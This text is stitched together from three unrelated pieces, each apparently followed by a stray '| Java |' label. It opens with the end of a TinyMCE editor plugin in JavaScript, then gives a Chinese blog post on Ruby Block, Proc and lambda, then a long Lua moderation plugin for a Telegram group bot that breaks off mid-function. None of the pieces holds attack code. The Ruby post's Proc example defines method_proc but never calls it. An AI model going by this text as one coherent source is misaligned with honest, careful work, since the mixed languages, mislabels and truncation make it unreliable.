text: 'Label',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Default', onclick : function() { themeShortcuts.labels('default') }},
{text: 'New', onclick : function() { themeShortcuts.labels('success') }},
{text: 'Warning', onclick : function() { themeShortcuts.labels('warning') }},
{text: 'Important', onclick : function() { themeShortcuts.labels('important') }},
{text: 'Notice', onclick : function() { themeShortcuts.labels('notice') }},
]
},
{text: 'Colored Text', onclick : themeShortcuts.createTextColor},
{text: 'Abbreviation', onclick : themeShortcuts.abbreviation},
]
},
{
type: 'listbox',
text: 'Related',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Related posts', onclick : themeShortcuts.relatedPosts},
{text: 'Siblings', onclick : themeShortcuts.pageSiblings},
{text: 'Children', onclick : themeShortcuts.children},
]
},
{
type: 'listbox',
text: 'Fancybox',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Images', onclick : themeShortcuts.createFancyboxImages},
{text: 'Inline', onclick : themeShortcuts.createFancyboxInline},
{text: 'iFrame', onclick : themeShortcuts.createFancyboxIframe},
{text: 'Page', onclick : themeShortcuts.createFancyboxPage},
{text: 'Swf', onclick : themeShortcuts.createFancyboxSwf},
]
},
{
type: 'listbox',
text: 'Contact form',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Light', onclick : themeShortcuts.contactFormLight},
{text: 'Dark', onclick : themeShortcuts.contactFormDark},
]
},
{
type: 'listbox',
text: 'Carousel',
icon: false,
classes: 'has-dropdown',
values: [
{text: 'Post Carousel', onclick : themeShortcuts.createCarousel},
{text: 'Swiper', onclick : themeShortcuts.createSwiper},
//{text: 'Testimonial', onclick : themeShortcuts.createTestimonials},
]
},
//{classes: 'no-dropdown', text: 'Countdown', onclick : themeShortcuts.eventCountdown},
{classes: 'no-dropdown', text: 'Code', onclick : themeShortcuts.createCode},
]
});
},
});
};//end else
tinymce.PluginManager.add('themeShortcuts', tinymce.plugins.themeShortcuts);
})() | Java |
title: 【Ruby】Block/Proc/lambda的区别
date: 2016-03-14 12:38:56
tags: ["Ruby"]
categories: ["程序开发"]
---
在Ruby语言中,Block 与 Proc 是不同的概念。而 Proc 和 lambda 虽然都是 Proc 对象,在进行处理时会有若干差别。
### Block 和 Proc.new
Block 是代码块,而 Proc 是对象。参数列别中最多只能有一个 Block ,但是可以有多个 Proc 或 Lambda。
Block 是指通过 do~end 或 {} 来进行传递的参数,通常与 yield 来搭配进行使用。
例如:
```
def method_block
yield
end
method_block { p "block" }
#=> "block"
```
将 Block 进行对象化就是 Proc.new 。
Proc 对象一般通过 call 方法来进行调用:
```
def method_block(&block)
block.call
end
method_block { p "block" }
#=> "block"
```
Proc.new 使用参数的情况:
```
proc = Proc.new{ |a| p a * 2 }
proc.call(2)
#=> 4
```
<!-- more -->
### Proc.new 和 lambda
lambda 函数是用于生成 Proc 对象的函数,与 Proc.new 一样通过 call 来进行调用。
```
def method_lambda
lambda1 = lambda{ p "lambda" }
lambda1.call
end
method_lambda
#=> "lambda"
```
但与 Proc.new 相比,两者有两点不通
#### 参数数目
lambda 会检查参数的个数,如果参数个数与规定参数个数不同的情况下,lambda 会报错。而 Proc.new 则不会进行参数检查。
Proc.new的情况:
```
proc = Proc.new{ |a,b,c| p "#{a},#{b},#{c}" }
proc.call(2, 4)
#=> 2,4,nil
```
lambda的情况下:
```
lambda1 = lambda{ |a,b,c| p "#{a},#{b},#{c}" }
lambda1.call(2, 4)
#=> wrong number of arguments (2 for 3) (ArgumentError)
```
#### return 与 break 等关键字的执行
Proc.new的情况下:
```
def method_proc
proc = Proc.new { return p "proc" }
proc.call
p "method_proc"
end
#=>"proc"
```
lambda的情况下:
```
def method_lambda
lambda1 = lambda{ return p "lambda" }
lambda1.call
p "method_lambda"
end
method_lambda
#=>"lambda"
# "method_lambda"
```
在 `Proc.new` 的情况下, `return` 会从函数自身 method_proc 中跳出。而 `lambda` 则会回到 `method_lambda` 中。
| Java |
do
-- Check Member
local function check_member_autorealm(cb_extra, success, result)
local receiver = cb_extra.receiver
local data = cb_extra.data
local msg = cb_extra.msg
for k,v in pairs(result.members) do
local member_id = v.id
if member_id ~= our_id then
-- Group configuration
data[tostring(msg.to.id)] = {
group_type = 'Realm',
settings = {
set_name = string.gsub(msg.to.print_name, '_', ' '),
lock_name = 'yes',
lock_photo = 'no',
lock_member = 'no',
flood = 'yes'
}
}
save_data(_config.moderation.data, data)
local realms = 'realms'
if not data[tostring(realms)] then
data[tostring(realms)] = {}
save_data(_config.moderation.data, data)
end
data[tostring(realms)][tostring(msg.to.id)] = msg.to.id
save_data(_config.moderation.data, data)
return send_large_msg(receiver, 'Welcome to your new realm !')
end
end
end
local function check_member_realm_add(cb_extra, success, result)
local receiver = cb_extra.receiver
local data = cb_extra.data
local msg = cb_extra.msg
for k,v in pairs(result.members) do
local member_id = v.id
if member_id ~= our_id then
-- Group configuration
data[tostring(msg.to.id)] = {
group_type = 'Realm',
settings = {
set_name = string.gsub(msg.to.print_name, '_', ' '),
lock_name = 'yes',
lock_photo = 'no',
lock_member = 'no',
flood = 'yes'
}
}
save_data(_config.moderation.data, data)
local realms = 'realms'
if not data[tostring(realms)] then
data[tostring(realms)] = {}
save_data(_config.moderation.data, data)
end
data[tostring(realms)][tostring(msg.to.id)] = msg.to.id
save_data(_config.moderation.data, data)
return send_large_msg(receiver, 'Realm has been added!')
end
end
end
function check_member_group(cb_extra, success, result)
local receiver = cb_extra.receiver
local data = cb_extra.data
local msg = cb_extra.msg
for k,v in pairs(result.members) do
local member_id = v.id
if member_id ~= our_id then
-- Group configuration
data[tostring(msg.to.id)] = {
group_type = 'Group',
moderators = {},
set_owner = member_id ,
settings = {
set_name = string.gsub(msg.to.print_name, '_', ' '),
lock_name = 'yes',
lock_photo = 'no',
lock_member = 'no',
flood = 'yes',
}
}
save_data(_config.moderation.data, data)
local groups = 'groups'
if not data[tostring(groups)] then
data[tostring(groups)] = {}
save_data(_config.moderation.data, data)
end
data[tostring(groups)][tostring(msg.to.id)] = msg.to.id
save_data(_config.moderation.data, data)
return send_large_msg(receiver, 'You have been promoted as the owner.')
end
end
end
local function check_member_modadd(cb_extra, success, result)
local receiver = cb_extra.receiver
local data = cb_extra.data
local msg = cb_extra.msg
for k,v in pairs(result.members) do
local member_id = v.id
if member_id ~= our_id then
-- Group configuration
data[tostring(msg.to.id)] = {
group_type = 'Group',
moderators = {},
set_owner = member_id ,
settings = {
set_name = string.gsub(msg.to.print_name, '_', ' '),
lock_name = 'yes',
lock_photo = 'no',
lock_member = 'no',
flood = 'yes',
}
}
save_data(_config.moderation.data, data)
local groups = 'groups'
if not data[tostring(groups)] then
data[tostring(groups)] = {}
save_data(_config.moderation.data, data)
end
data[tostring(groups)][tostring(msg.to.id)] = msg.to.id
save_data(_config.moderation.data, data)
return send_large_msg(receiver, 'Group is added and you have been promoted as the owner ')
end
end
end
local function automodadd(msg)
local data = load_data(_config.moderation.data)
if msg.action.type == 'chat_created' then
receiver = get_receiver(msg)
chat_info(receiver, check_member_group,{receiver=receiver, data=data, msg = msg})
end
end
local function autorealmadd(msg)
local data = load_data(_config.moderation.data)
if msg.action.type == 'chat_created' then
receiver = get_receiver(msg)
chat_info(receiver, check_member_autorealm,{receiver=receiver, data=data, msg = msg})
end
end
local function check_member_realmrem(cb_extra, success, result)
local receiver = cb_extra.receiver
local data = cb_extra.data
local msg = cb_extra.msg
for k,v in pairs(result.members) do
local member_id = v.id
if member_id ~= our_id then
-- Realm configuration removal
data[tostring(msg.to.id)] = nil
save_data(_config.moderation.data, data)
local realms = 'realms'
if not data[tostring(realms)] then
data[tostring(realms)] = nil
save_data(_config.moderation.data, data)
end
data[tostring(realms)][tostring(msg.to.id)] = nil
save_data(_config.moderation.data, data)
return send_large_msg(receiver, 'Realm has been removed!')
end
end
end
local function check_member_modrem(cb_extra, success, result)
local receiver = cb_extra.receiver
local data = cb_extra.data
local msg = cb_extra.msg
for k,v in pairs(result.members) do
local member_id = v.id
if member_id ~= our_id then
-- Group configuration removal
data[tostring(msg.to.id)] = nil
save_data(_config.moderation.data, data)
local groups = 'groups'
if not data[tostring(groups)] then
data[tostring(groups)] = nil
save_data(_config.moderation.data, data)
end
data[tostring(groups)][tostring(msg.to.id)] = nil
save_data(_config.moderation.data, data)
return send_large_msg(receiver, 'Group has been removed')
end
end
end
--End Check Member
local function show_group_settingsmod(msg, data, target)
if not is_momod(msg) then
return "For moderators only!"
end
local data = load_data(_config.moderation.data)
if data[tostring(msg.to.id)] then
if data[tostring(msg.to.id)]['settings']['flood_msg_max'] then
NUM_MSG_MAX = tonumber(data[tostring(msg.to.id)]['settings']['flood_msg_max'])
print('custom'..NUM_MSG_MAX)
else
NUM_MSG_MAX = 5
end
end
local bots_protection = "Yes"
if data[tostring(msg.to.id)]['settings']['lock_bots'] then
bots_protection = data[tostring(msg.to.id)]['settings']['lock_bots']
end
local leave_ban = "no"
if data[tostring(msg.to.id)]['settings']['leave_ban'] then
leave_ban = data[tostring(msg.to.id)]['settings']['leave_ban']
end
local settings = data[tostring(target)]['settings']
local text = "Group settings:\nLock group name : "..settings.lock_name.."\nLock group photo : "..settings.lock_photo.."\nLock group member : "..settings.lock_member.."\nLock group leave : "..leave_ban.."\nflood sensitivity : "..NUM_MSG_MAX.."\nBot protection : "..bots_protection--"\nPublic: "..public
return text
end
local function set_descriptionmod(msg, data, target, about)
if not is_momod(msg) then
return "For moderators only!"
end
local data_cat = 'description'
data[tostring(target)][data_cat] = about
save_data(_config.moderation.data, data)
return 'Set group description to:\n'..about
end
local function get_description(msg, data)
local data_cat = 'description'
if not data[tostring(msg.to.id)][data_cat] then
return 'No description available.'
end
local about = data[tostring(msg.to.id)][data_cat]
local about = string.gsub(msg.to.print_name, "_", " ")..':\n\n'..about
return 'About '..about
end
local function lock_group_arabic(msg, data, target)
if not is_momod(msg) then
return "For moderators only!"
end
local group_arabic_lock = data[tostring(target)]['settings']['lock_arabic']
if group_arabic_lock == 'yes' then
return 'Arabic is already locked'
else
data[tostring(target)]['settings']['lock_arabic'] = 'yes'
save_data(_config.moderation.data, data)
return 'Arabic has been locked'
end
end
local function unlock_group_arabic(msg, data, target)
if not is_momod(msg) then
return "For moderators only!"
end
local group_arabic_lock = data[tostring(target)]['settings']['lock_arabic']
if group_arabic_lock == 'no' then
return 'Arabic is already unlocked'
else
data[tostring(target)]['settings']['lock_arabic'] = 'no'
save_data(_config.moderation.data, data)
return 'Arabic has been unlocked'
end
end
local function lock_group_bots(msg, data, target)
if not is_momod(msg) then
return "For moderators only!"
end
local group_bots_lock = data[tostring(target)]['settings']['lock_bots']
if group_bots_lock == 'yes' then
return 'Bots protection is already enabled'
else
data[tostring(target)]['settings']['lock_bots'] = 'yes'
save_data(_config.moderation.data, data)
return 'Bots protection has been enabled'
end
end
local function unlock_group_bots(msg, data, target)
if not is_momod(msg) then
return "For moderators only!"
end
local group_bots_lock = data[tostring(target)]['settings']['lock_bots']
if group_bots_lock == 'no' then
return 'Bots protection is already disabled'
else
data[tostring(target)]['settings']['lock_bots'] = 'no'
save_data(_config.moderation.data, data)
return 'Bots protection has been disabled'
end
end
local function lock_group_namemod(msg, data, target)
if not is_momod(msg) then
return "For moderators only!"
end
local group_name_set = data[tostring(target)]['settings']['set_name']
local group_name_lock = data[tostring(target)]['settings']['lock_name']
if group_name_lock == 'yes' then
return 'Group name is already locked'
else
data[tostring(target)]['settings']['lock_name'] = 'yes'
save_data(_config.moderation.data, data)
rename_chat('chat#id'..target, group_name_set, ok_cb, false)
return 'Group name has been locked'
end
end
local function unlock_group_namemod(msg, data, target)
if not is_momod(msg) then
return "For moderators only!"
end
local group_name_set = data[tostring(target)]['settings']['set_name']
local group_name_lock = data[tostring(target)]['settings']['lock_name']
if group_name_lock == 'no' then
return 'Group name is already unlocked'
else
data[tostring(target)]['settings']['lock_name'] = 'no'
save_data(_config.moderation.data, data)
return 'Group name has been unlocked'
end
end
local function lock_group_floodmod(msg, data, target)
if not is_owner(msg) then
return "Only admins can do it for now"
end
local group_flood_lock = data[tostring(target)]['settings']['flood']
if group_flood_lock == 'yes' then
return 'Group flood is locked'
else
data[tostring(target)]['settings']['flood'] = 'yes'
save_data(_config.moderation.data, data)
return 'Group flood has been locked'
end
end
local function unlock_group_floodmod(msg, data, target)
if not is_owner(msg) then
return "Only admins can do it for now"
end
local group_flood_lock = data[tostring(target)]['settings']['flood']
if group_flood_lock == 'no' then
return 'Group flood is not locked'
else
data[tostring(target)]['settings']['flood'] = 'no'
save_data(_config.moderation.data, data)
return 'Group flood has been unlocked'
end
end
local function lock_group_membermod(msg, data, target)
if not is_momod(msg) then
return "For moderators only!"
end
local group_member_lock = data[tostring(target)]['settings']['lock_member']
if group_member_lock == 'yes' then
return 'Group members are already locked'
else
data[tostring(target)]['settings']['lock_member'] = 'yes'
save_data(_config.moderation.data, data)
end
return 'Group members has been locked'
end
local function unlock_group_membermod(msg, data, target)
if not is_momod(msg) then
return "For moderators only!"
end
local group_member_lock = data[tostring(target)]['settings']['lock_member']
if group_member_lock == 'no' then
return 'Group members are not locked'
else
data[tostring(target)]['settings']['lock_member'] = 'no'
save_data(_config.moderation.data, data)
return 'Group members has been unlocked'
end
end
local function set_public_membermod(msg, data, target)
if not is_momod(msg) then
return "For moderators only!"
end
local group_member_lock = data[tostring(target)]['settings']['public']
if group_member_lock == 'yes' then
return 'Group is already public'
else
data[tostring(target)]['settings']['public'] = 'yes'
save_data(_config.moderation.data, data)
end
return 'Group is now: public'
end
local function unset_public_membermod(msg, data, target)
if not is_momod(msg) then
return "For moderators only!"
end
local group_member_lock = data[tostring(target)]['settings']['public']
if group_member_lock == 'no' then
return 'Group is not public'
else
data[tostring(target)]['settings']['public'] = 'no'
save_data(_config.moderation.data, data)
return 'Group is now: not public'
end
end
local function lock_group_leave(msg, data, target)
if not is_momod(msg) then
return "For moderators only!"
end
local leave_ban = data[tostring(msg.to.id)]['settings']['leave_ban']
if leave_ban == 'yes' then
return 'Leaving users will be banned'
else
data[tostring(msg.to.id)]['settings']['leave_ban'] = 'yes'
save_data(_config.moderation.data, data)
end
return 'Leaving users will be banned'
end
local function unlock_group_leave(msg, data, target)
if not is_momod(msg) then
return "For moderators only!"
end
local leave_ban = data[tostring(msg.to.id)]['settings']['leave_ban']
if leave_ban == 'no' then
return 'Leaving users will not be banned'
else
data[tostring(msg.to.id)]['settings']['leave_ban'] = 'no'
save_data(_config.moderation.data, data)
return 'Leaving users will not be banned'
end
end
local function unlock_group_photomod(msg, data, target)
if not is_momod(msg) then
return "For moderators only!"
end
local group_photo_lock = data[tostring(target)]['settings']['lock_photo']
if group_photo_lock == 'no' then
return 'Group photo is not locked'
else
data[tostring(target)]['settings']['lock_photo'] = 'no'
save_data(_config.moderation.data, data)
return 'Group photo has been unlocked'
end
end
local function set_rulesmod(msg, data, target)
if not is_momod(msg) then
return "For moderators only!"
end
local data_cat = 'rules'
data[tostring(target)][data_cat] = rules
save_data(_config.moderation.data, data)
return 'Set group rules to:\n'..rules
end
local function modadd(msg)
-- superuser and admins only (because sudo are always has privilege)
if not is_admin(msg) then
return "You're not admin"
end
local data = load_data(_config.moderation.data)
if is_group(msg) then
return 'Group is already added.'
end
receiver = get_receiver(msg)
chat_info(receiver, check_member_modadd,{receiver=receiver, data=data, msg = msg})
end
local function realmadd(msg)
-- superuser and admins only (because sudo are always has privilege)
if not is_admin(msg) then
return "You're not admin"
end
local data = load_data(_config.moderation.data)
if is_realm(msg) then
return 'Realm is already added.'
end
receiver = get_receiver(msg)
chat_info(receiver, check_member_realm_add,{receiver=receiver, data=data, msg = msg})
end
-- Global functions
function modrem(msg)
-- superuser and admins only (because sudo are always has privilege)
if not is_admin(msg) then
return "You're not admin"
end
local data = load_data(_config.moderation.data)
if not is_group(msg) then
return 'Group is not added.'
end
receiver = get_receiver(msg)
chat_info(receiver, check_member_modrem,{receiver=receiver, data=data, msg = msg})
end
function realmrem(msg)
-- superuser and admins only (because sudo are always has privilege)
if not is_admin(msg) then
return "You're not admin"
end
local data = load_data(_config.moderation.data)
if not is_realm(msg) then
return 'Realm is not added.'
end
receiver = get_receiver(msg)
chat_info(receiver, check_member_realmrem,{receiver=receiver, data=data, msg = msg})
end
local function get_rules(msg, data)
local data_cat = 'rules'
if not data[tostring(msg.to.id)][data_cat] then
return 'No rules available.'
end
local rules = data[tostring(msg.to.id)][data_cat]
local rules = 'Chat rules:\n'..rules
return rules
end
local function set_group_photo(msg, success, result)
local data = load_data(_config.moderation.data)
local receiver = get_receiver(msg)
if success then
local file = 'data/photos/chat_photo_'..msg.to.id..'.jpg'
print('File downloaded to:', result)
os.rename(result, file)
print('File moved to:', file)
chat_set_photo (receiver, file, ok_cb, false)
data[tostring(msg.to.id)]['settings']['set_photo'] = file
save_data(_config.moderation.data, data)
data[tostring(msg.to.id)]['settings']['lock_photo'] = 'yes'
save_data(_config.moderation.data, data)
send_large_msg(receiver, 'Photo saved!', ok_cb, false)
else
print('Error downloading: '..msg.id)
send_large_msg(receiver, 'Failed, please try again!', ok_cb, false)
end
end
local function promote(receiver, member_username, member_id)
local data = load_data(_config.moderation.data)
local group = string.gsub(receiver, 'chat#id', '')
if not data[group] then
return send_large_msg(receiver, 'Group is not added.')
end
if data[group]['moderators'][tostring(member_id)] then
return send_large_msg(receiver, member_username..' is already a moderator.')
end
data[group]['moderators'][tostring(member_id)] = member_username
save_data(_config.moderation.data, data)
return send_large_msg(receiver, member_username..' has been promoted.')
end
local function promote_by_reply(extra, success, result)
local msg = result
local full_name = (msg.from.first_name or '')..' '..(msg.from.last_name or '')
if msg.from.username then
member_username = '@'.. msg.from.username
else
member_username = full_name
end
local member_id = msg.from.id
if msg.to.type == 'chat' then
return promote(get_receiver(msg), member_username, member_id)
end
end
local function demote(receiver, member_username, member_id)
local data = load_data(_config.moderation.data)
local group = string.gsub(receiver, 'chat#id', '')
if not data[group] then
return send_large_msg(receiver, 'Group is not added.')
end
if not data[group]['moderators'][tostring(member_id)] then
return send_large_msg(receiver, member_username..' is not a moderator.')
end
data[group]['moderators'][tostring(member_id)] = nil
save_data(_config.moderation.data, data)
return send_large_msg(receiver, member_username..' has been demoted.')
end
local function demote_by_reply(extra, success, result)
local msg = result
local full_name = (msg.from.first_name or '')..' '..(msg.from.last_name or '')
if msg.from.username then
member_username = '@'..msg.from.username
else
member_username = full_name
end
local member_id = msg.from.id
if msg.to.type == 'chat' then
return demote(get_receiver(msg), member_username, member_id)
end
end
local function setowner_by_reply(extra, success, result)
local msg = result
local receiver = get_receiver(msg)
local data = load_data(_config.moderation.data)
local name_log = msg.from.print_name:gsub("_", " ")
data[tostring(msg.to.id)]['set_owner'] = tostring(msg.from.id)
save_data(_config.moderation.data, data)
savelog(msg.to.id, name_log.." ["..msg.from.id.."] setted ["..msg.from.id.."] as owner")
local text = msg.from.print_name:gsub("_", " ").." is the owner now"
return send_large_msg(receiver, text)
end
local function promote_demote_res(extra, success, result)
--vardump(result)
--vardump(extra)
local member_id = result.id
local member_username = "@"..result.username
local chat_id = extra.chat_id
local mod_cmd = extra.mod_cmd
local receiver = "chat#id"..chat_id
if mod_cmd == 'promote' then
return promote(receiver, member_username, member_id)
elseif mod_cmd == 'demote' then
return demote(receiver, member_username, member_id)
end
end
local function modlist(msg)
local data = load_data(_config.moderation.data)
local groups = "groups"
if not data[tostring(groups)][tostring(msg.to.id)] then
return 'Group is not added.'
end
-- determine if table is empty
if next(data[tostring(msg.to.id)]['moderators']) == nil then --fix way
return 'No moderator in this group.'
end
local i = 1
local message = '\nList of moderators for ' .. string.gsub(msg.to.print_name, '_', ' ') .. ':\n'
for k,v in pairs(data[tostring(msg.to.id)]['moderators']) do
message = message ..i..' - '..v..' [' ..k.. '] \n'
i = i + 1
end
return message
end
local function callbackres(extra, success, result)
--vardump(result)
local user = result.id
local name = string.gsub(result.print_name, "_", " ")
local chat = 'chat#id'..extra.chatid
send_large_msg(chat, user..'\n'..name)
return user
end
local function help()
local help_text = tostring(_config.help_text)
return help_text
end
local function cleanmember(cb_extra, success, result)
local receiver = cb_extra.receiver
local chat_id = "chat#id"..result.id
local chatname = result.print_name
for k,v in pairs(result.members) do
kick_user(v.id, result.id)
end
end
local function killchat(cb_extra, success, result)
local receiver = cb_extra.receiver
local chat_id = "chat#id"..result.id
local chatname = result.print_name
for k,v in pairs(result.members) do
kick_user_any(v.id, result.id)
end
end
local function killrealm(cb_extra, success, result)
local receiver = cb_extra.receiver
local chat_id = "chat#id"..result.id
local chatname = result.print_name
for k,v in pairs(result.members) do
kick_user_any(v.id, result.id)
end
end
local function user_msgs(user_id, chat_id)
local user_info
local uhash = 'user:'..user_id
local user = redis:hgetall(uhash)
local um_hash = 'msgs:'..user_id..':'..chat_id
user_info = tonumber(redis:get(um_hash) or 0)
return user_info
end
local function kick_zero(cb_extra, success, result)
local chat_id = cb_extra.chat_id
local chat = "chat#id"..chat_id
local ci_user
local re_user
for k,v in pairs(result.members) do
local si = false
ci_user = v.id
local hash = 'chat:'..chat_id..':users'
local users = redis:smembers(hash)
for i = 1, #users do
re_user = users[i]
if tonumber(ci_user) == tonumber(re_user) then
si = true
end
end
if not si then
if ci_user ~= our_id then
if not is_momod2(ci_user, chat_id) then
chat_del_user(chat, 'user#id'..ci_user, ok_cb, true)
end
end
end
end
end
local function kick_inactive(chat_id, num, receiver)
local hash = 'chat:'..chat_id..':users'
local users = redis:smembers(hash)
-- Get user info
for i = 1, #users do
local user_id = users[i]
local user_info = user_msgs(user_id, chat_id)
local nmsg = user_info
if tonumber(nmsg) < tonumber(num) then
if not is_momod2(user_id, chat_id) then
chat_del_user('chat#id'..chat_id, 'user#id'..user_id, ok_cb, true)
end
end
end
return chat_info(receiver, kick_zero, {chat_id = chat_id})
end
local function run(msg, matches)
local data = load_data(_config.moderation.data)
local receiver = get_receiver(msg)
local name_log = user_print_name(msg.from)
local group = msg.to.id
if msg.media then
if msg.media.type == 'photo' and data[tostring(msg.to.id)]['settings']['set_photo'] == 'waiting' and is_chat_msg(msg) and is_momod(msg) then
load_photo(msg.id, set_group_photo, msg)
end
end
if matches[1] == 'add' and not matches[2] then
if is_realm(msg) then
return 'Error: Already a realm.'
end
print("group "..msg.to.print_name.."("..msg.to.id..") added")
return modadd(msg)
end
if matches[1] == 'add' and matches[2] == 'realm' then
if is_group(msg) then
return 'Error: Already a group.'
end
print("group "..msg.to.print_name.."("..msg.to.id..") added as a realm")
return realmadd(msg)
end
if matches[1] == 'rem' and not matches[2] then
print("group "..msg.to.print_name.."("..msg.to.id..") removed")
return modrem(msg)
end
if matches[1] == 'rem' and matches[2] == 'realm' then
print("group "..msg.to.print_name.."("..msg.to.id..") removed as a realm")
return realmrem(msg)
end
if matches[1] == 'chat_created' and msg.from.id == 0 and group_type == "group" then
return automodadd(msg)
end
if matches[1] == 'chat_created' and msg.from.id == 0 and group_type == "realm" then
return autorealmadd(msg)
end
if msg.to.id and data[tostring(msg.to.id)] then
local settings = data[tostring(msg.to.id)]['settings']
if matches[1] == 'chat_add_user' then
if not msg.service then
return "Are you trying to troll me?"
end
local group_member_lock = settings.lock_member
local user = 'user#id'..msg.action.user.id
local chat = 'chat#id'..msg.to.id
if group_member_lock == 'yes' and not is_owner2(msg.action.user.id, msg.to.id) then
chat_del_user(chat, user, ok_cb, true)
elseif group_member_lock == 'yes' and tonumber(msg.from.id) == tonumber(our_id) then
return nil
elseif group_member_lock == 'no' then
return nil
end
end
if matches[1] == 'chat_del_user' then
if not msg.service then
-- return "Are you trying to troll me?"
end
local user = 'user#id'..msg.action.user.id
local chat = 'chat#id'..msg.to.id
savelog(msg.to.id, name_log.." ["..msg.from.id.."] deleted user "..user)
end
if matches[1] == 'chat_delete_photo' then
if not msg.service then
return "Are you trying to troll me?"
end
local group_photo_lock = settings.lock_photo
if group_photo_lock == 'yes' then
local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id
redis:incr(picturehash)
---
local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id
local picprotectionredis = redis:get(picturehash)
if picprotectionredis then
if tonumber(picprotectionredis) == 4 and not is_owner(msg) then
kick_user(msg.from.id, msg.to.id)
end
if tonumber(picprotectionredis) == 8 and not is_owner(msg) then
ban_user(msg.from.id, msg.to.id)
local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id
redis:set(picturehash, 0)
end
end
savelog(msg.to.id, name_log.." ["..msg.from.id.."] tried to deleted picture but failed ")
chat_set_photo(receiver, settings.set_photo, ok_cb, false)
elseif group_photo_lock == 'no' then
return nil
end
end
if matches[1] == 'chat_change_photo' and msg.from.id ~= 0 then
if not msg.service then
return "Are you trying to troll me?"
end
local group_photo_lock = settings.lock_photo
if group_photo_lock == 'yes' then
local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id
redis:incr(picturehash)
---
local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id
local picprotectionredis = redis:get(picturehash)
if picprotectionredis then
if tonumber(picprotectionredis) == 4 and not is_owner(msg) then
kick_user(msg.from.id, msg.to.id)
end
if tonumber(picprotectionredis) == 8 and not is_owner(msg) then
ban_user(msg.from.id, msg.to.id)
local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id
redis:set(picturehash, 0)
end
end
savelog(msg.to.id, name_log.." ["..msg.from.id.."] tried to change picture but failed ")
chat_set_photo(receiver, settings.set_photo, ok_cb, false)
elseif group_photo_lock == 'no' then
return nil
end
end
if matches[1] == 'chat_rename' then
if not msg.service then
return "Are you trying to troll me?"
end
local group_name_set = settings.set_name
local group_name_lock = settings.lock_name
local to_rename = 'chat#id'..msg.to.id
if group_name_lock == 'yes' then
if group_name_set ~= tostring(msg.to.print_name) then
local namehash = 'name:changed:'..msg.to.id..':'..msg.from.id
redis:incr(namehash)
local namehash = 'name:changed:'..msg.to.id..':'..msg.from.id
local nameprotectionredis = redis:get(namehash)
if nameprotectionredis then
if tonumber(nameprotectionredis) == 4 and not is_owner(msg) then
kick_user(msg.from.id, msg.to.id)
end
if tonumber(nameprotectionredis) == 8 and not is_owner(msg) then
ban_user(msg.from.id, msg.to.id)
local namehash = 'name:changed:'..msg.to.id..':'..msg.from.id
redis:set(namehash, 0)
end
end
savelog(msg.to.id, name_log.." ["..msg.from.id.."] tried to change name but failed ")
rename_chat(to_rename, group_name_set, ok_cb, false)
end
elseif group_name_lock == 'no' then
return nil
end
end
if matches[1] == 'setname' and is_momod(msg) then
local new_name = string.gsub(matches[2], '_', ' ')
data[tostring(msg.to.id)]['settings']['set_name'] = new_name
save_data(_config.moderation.data, data)
local group_name_set = data[tostring(msg.to.id)]['settings']['set_name']
local to_rename = 'chat#id'..msg.to.id
rename_chat(to_rename, group_name_set, ok_cb, false)
savelog(msg.to.id, "Group { "..msg.to.print_name.." } name changed to [ "..new_name.." ] by "..name_log.." ["..msg.from.id.."]")
end
if matches[1] == 'setphoto' and is_momod(msg) then
data[tostring(msg.to.id)]['settings']['set_photo'] = 'waiting'
save_data(_config.moderation.data, data)
return 'Please send me new group photo now'
end
if matches[1] == 'promote' and not matches[2] then
if not is_owner(msg) then
return "Only the owner can prmote new moderators"
end
if type(msg.reply_id)~="nil" then
msgr = get_message(msg.reply_id, promote_by_reply, false)
end
end
if matches[1] == 'promote' and matches[2] then
if not is_momod(msg) then
return
end
if not is_owner(msg) then
return "Only owner can promote"
end
local member = matches[2]
savelog(msg.to.id, name_log.." ["..msg.from.id.."] promoted @".. member)
local cbres_extra = {
chat_id = msg.to.id,
mod_cmd = 'promote',
from_id = msg.from.id
}
local username = matches[2]
local username = string.gsub(matches[2], '@', '')
return res_user(username, promote_demote_res, cbres_extra)
end
if matches[1] == 'demote' and not matches[2] then
if not is_owner(msg) then
return "Only the owner can demote moderators"
end
if type(msg.reply_id)~="nil" then
msgr = get_message(msg.reply_id, demote_by_reply, false)
end
end
if matches[1] == 'demote' and matches[2] then
if not is_momod(msg) then
return
end
if not is_owner(msg) then
return "Only owner can demote"
end
if string.gsub(matches[2], "@", "") == msg.from.username and not is_owner(msg) then
return "You can't demote yourself"
end
local member = matches[2]
savelog(msg.to.id, name_log.." ["..msg.from.id.."] demoted @".. member)
local cbres_extra = {
chat_id = msg.to.id,
mod_cmd = 'demote',
from_id = msg.from.id
}
local username = matches[2]
local username = string.gsub(matches[2], '@', '')
return res_user(username, promote_demote_res, cbres_extra)
end
if matches[1] == 'modlist' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] requested group modlist")
return modlist(msg)
end
if matches[1] == 'about' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] requested group description")
return get_description(msg, data)
end
if matches[1] == 'rules' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] requested group rules")
return get_rules(msg, data)
end
if matches[1] == 'set' then
if matches[2] == 'rules' then
rules = matches[3]
local target = msg.to.id
savelog(msg.to.id, name_log.." ["..msg.from.id.."] has changed group rules to ["..matches[3].."]")
return set_rulesmod(msg, data, target)
end
if matches[2] == 'about' then
local data = load_data(_config.moderation.data)
local target = msg.to.id
local about = matches[3]
savelog(msg.to.id, name_log.." ["..msg.from.id.."] has changed group description to ["..matches[3].."]")
return set_descriptionmod(msg, data, target, about)
end
end
if matches[1] == 'lock' then
local target = msg.to.id
if matches[2] == 'name' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] locked name ")
return lock_group_namemod(msg, data, target)
end
if matches[2] == 'member' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] locked member ")
return lock_group_membermod(msg, data, target)
end
if matches[2] == 'flood' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] locked flood ")
return lock_group_floodmod(msg, data, target)
end
if matches[2] == 'arabic' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] locked arabic ")
